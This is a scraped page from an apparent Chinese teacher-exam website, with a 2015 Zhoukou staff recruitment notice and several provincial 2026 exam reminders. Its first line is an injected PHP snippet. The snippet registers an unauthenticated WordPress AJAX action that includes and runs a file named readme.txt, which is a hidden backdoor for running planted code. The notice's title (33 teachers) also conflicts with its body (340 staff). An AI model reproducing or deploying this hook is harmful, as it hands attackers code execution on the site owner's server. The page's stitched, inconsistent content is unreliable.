if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
河南省周口市2015年中学教师招聘33人公告-全国教师资格考试网

河南省周口市2015年中学教师招聘33人公告

    根据中共周口市委组织部、市人事局、市编办、市财政局《关于事业单位新进人员实行公开招聘工作实施意见》(周人〔2008〕11号)和周口市人力资源和社会保障局《关于市直事业单位招聘工作人员有关问题的通知)》(周人社〔2010〕114号),经周口市委、市政府同意,现决定面向社会为市直事业单位招聘一批优秀人才。
一、招聘计划
根据事业单位的编制、岗位空缺情况和实际需要,市直事业单位计划招聘340名工作人员(《周口市2015年市直事业单位公开招聘工作人员计划表》附后)。
二、招聘条件
(一)符合下列条件的人员均可报考
1、具有中华人民共和国国籍;
2、拥护中国共产党的领导,热爱社会主义;
3、遵纪守法,品行端正;
4、身体健康;
5、符合各报考岗位的专业、学历和年龄要求。具体要求以招聘计划表为准,年龄、工作经历计算时间截止到2015年9月1日;
6、符合用人单位提出的其他条件。报考人员应将具备的资格证、工作经历等岗位要求的相关情况在网上报名备注项中详细注明。
(二)有下列情形之一的不得报考
1.曾因犯罪受过刑事处罚的人员;
2.尚未解除党纪、政纪处分或正在接受纪律审查的人员;
3.涉嫌违法犯罪正在接受司法调查尚未做出结论的人员;
4.曾在招聘考试中被认定有舞弊等严重违反招聘纪律行为的人员;
5.违反计划生育政策的人员;
6.其他不符合招聘单位有关要求的人员。
三、招聘程序
(一)公布招聘信息
2015年9月7日在周口市人力资源和社会保障网(www.hazk.lss.gov.cn)、周口人事考试网(www.zkrsks.com)、周口人才网(www.zkrc.com.cn)上发布招聘简章,同时在《周口日报》、《周口晚报》上发布招聘公告。
周口人事考试网为本次招聘事业单位工作人员工作专用网站,发布考试招聘信息、网上报名、公告有关事项,均通过该网站进行。
本次考试不指定考试用书,不举办、不委托任何机构举办考试辅导培训。
重要提示:请应聘人员随时关注本次招聘工作网站周口人事考试网,若本人不及时阅读相关信息,造成后果,责任自负。
(二)报名和资格审查
报名采取网上报名方式进行。报考人员在规定时间内按下列要求进行网上报名。
1、提交报名申请
报考者于2015年9月9日9:00至9月13日17:00期间登录周口人事考试网(www.zkrsks.com),点击“网上报名”进入网上报名系统,点击“事业单位公开招聘考试”按要求提交报名申请并上传本人电子照片(近期1寸彩色免冠正面证件照,jpg格式,利用图片软件制作时,照片宽高比例为1.3:1.6,大小为130×160像素,30kb以下,最终效果以输出后的大小为准)。报名申请被接受后,将向报考者反馈一个报名序号。报名序号是报考者查询报考资格审查结果、网上缴费、下载打印准考证和成绩查询等事项的重要依据,必须妥善保管。

#p#副标题#e#

2、资格审查
报考者提交报名申请的1日内,公开招聘领导小组办公室组织相关单位对报考者的报名申请和照片进行审查,并提出审查意见。
报名申请被接受的人员,可于提交报名申请1日后登录周口人事考试网,查看是否通过报考资格审查。通过报考资格审查的人员,不能再报考其他岗位;报考申请尚未审查或未通过报考资格审查的人员,可以改报其他岗位。报考资料不全或电子照片不符合要求的,报考者应及时补充或更新并按要求再次提交审查。
报考人员只能选报一个岗位。
各拟招聘岗位的报名人数与招聘人数的比例不低于3∶1,不足3∶1的,需相应核减拟招聘人数,核减后仍达不到比例的,该岗位不再招聘。报考该岗位的考生于9月16日8:00—17:00前到周口市人才交流中心服务大厅(川汇区八一路南段人才交流中心院内)重新选报其他岗位,不愿重新选报或资格条件不符合其他岗位要求的,退还所交报名考务费。
本次招聘,资格审查工作将贯穿于考试招聘的全过程。报考人员报名时提交的信息和提供的材料必须真实有效。凡发现报考人员与拟聘用岗位所要求资格条件不符以及提供虚假材料者,立即取消其考试、聘用资格,三年内不得参加全市事业单位公开招聘考试,并在全市进行通报批评。
按照国家和省有关规定,对以下人员实施加分:大学生参加国家自愿服务西部计划服务期满且考核合格的;在周口市参加高校毕业生“三支一扶”计划、服务贫困县计划服务期满的大学生和服务期满两年且目前在岗的大学生村干部,考核合格,笔试原始成绩加5分。符合多个条件的,最多加5分。拟享受加分政策的报考者,于9月16日8:00—17:00将有关证书、证明原件和复印件提交到周口市人才交流中心服务大厅(川汇区八一路南段人才交流中心院内),周口市人力资源和社会保障局统一审核并公示。逾期不提交相关资料的,不得享受加分待遇。3、网上缴费
通过报考资格审查的人员,于资格审查通过之后至9月15日17:00期间通过周口人事考试网缴纳笔试考务费共计60元/人(报考者须准备好银联卡,开通网上银行功能并存上足够缴费的金额),未按期缴纳的视为自动放弃。
农村绝对贫困家庭、享受国家最低生活保障金的城镇家庭的报考人员,可免交笔试考务费。拟免交笔试考务费的报考者应将免交证明材料(农村绝对贫困家庭的报考人员,需提交其家庭所在地县市区扶贫办出具的特困证明;享受国家最低生活保障金的城镇家庭的报考人员,需提交其家庭所在地县市区民政部门出具的享受最低生活保障金的证明。)于9月15日8:00—17:00提交周口市人事考试中心(川汇区八一路南段人才交流中心二楼)。
4、网上打印准考证
网上缴费成功的报名人员,于2015年9月23日9:00至9月26日9:30期间自行登录周口人事考试网(www.zkrsks.com)下载并打印准考证(A4纸)。
(三)考试
考试分为笔试和面试(结构化面试、试讲加答辩等)。
1、笔试
笔试以闭卷方式进行,统一命题、统一组织、统一评分。笔试内容为公共基础知识、职业能力测试,满分为100分。
考试时间:9月26日9:00—11:00
考试地点:周口市中心城区。
报考民办公助教师管理办公室的人员,具有副高及以上专业技术职务或博士研究生学历的可免笔试,笔试成绩按本岗位进入面试人员的平均成绩计算。通过免笔试资格审查的考生,若参加笔试,笔试成绩无效。

#p#副标题#e#

2、面试资格确认
根据笔试成绩,按照拟招聘岗位1∶3的比例从高分到低分确定参加面试人选。笔试成绩达不到本岗位平均成绩60%的不得进入面试,若因这种原因造成某岗位进入面试人员形不成竞争的,则进入面试人员的面试成绩须达到本场平均成绩方可进入招聘下一环节。面试资格确认时间另行通知。
参加面试资格确认人员,持本人有效身份证、毕业证(非普通全日制学历人员需提供学历认证)、就业报到证(在职人员需出具单位同意报考证明)、专业技术职务任职资格证、执(职)业资格证、工作经历证明(要求有工作经历的岗位提供)等原件及复印件和笔试准考证到周口市人才交流中心服务大厅(川汇区八一路南段人才交流中心院内)进行面试资格确认,同时交网上报名同底版一寸彩色照片2张。逾期不到的,视为自动放弃面试资格。
面试资格确认时,与报考者本人及有关证书进行核对。凡材料信息不实的,取消其参加面试资格。
3、面试
报考周口职业技术学院医学院、周口市技工学校、周口市民办公助教师管理办公室(周口科技职业学院)的考生面试采取“试讲答辩”方式,报考其它单位的考生采取结构化方式进行面试。
满分为100分。面试成绩达不到60分的不得进入体检环节。
面试当天若相关岗位只有1人到场,面试成绩达到本场平均成绩可以进入招聘下一环节。若相关岗位有2人(含)以上到场,面试继续进行,成绩有效(未到场人员成绩视为零分)。
面试方案另行制定。
4、成绩计算
考试总成绩=笔试成绩×50%十面试成绩×50%
面试结束后各种原因造成的岗位空缺均不递补。
(四)体检和考察
根据考试总成绩,按拟招聘岗位1:1的比例从高分到低分确定参加体检人员。总成绩并列的,取笔试成绩高的参加体检。报考教师岗位的体检按照《河南省教师资格申请人员体检标准及办法》执行,报考其他单位的参照《公务员录用体检通用标准》执行。体检合格人员确定为考察对象。
体检和考察时间另行确定。
(五)拟聘人员公示
体检、考察合格人员即为拟聘用人员。拟聘用人员名单在周口市人力资源和社会保障网www.hazk.lss.gov.cn)、周口人事考试网(www.zkrsks.com)、周口人才网(www.zkrc.com.cn)上公示,公示期为7个工作日。
四、聘用
经公示无异议的人员,依据《周口市市直事业单位聘用人员通知》办理聘用手续,签订聘用合同。
首次就业人员试用期12个月。试用期满后由用人单位进行综合考核,不合格的由用人单位提出取消聘用意见,报聘用审批部门批准。试用期间及试用期满后的工资福利待遇,按国家有关规定执行。
本方案未尽事宜由事业单位公招聘领导小组负责解释。
咨询电话:0394-8273863
监督电话:0394-8268126
报名网站技术咨询电话:0394-8352626
周口市教育局
2015年9月7日
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部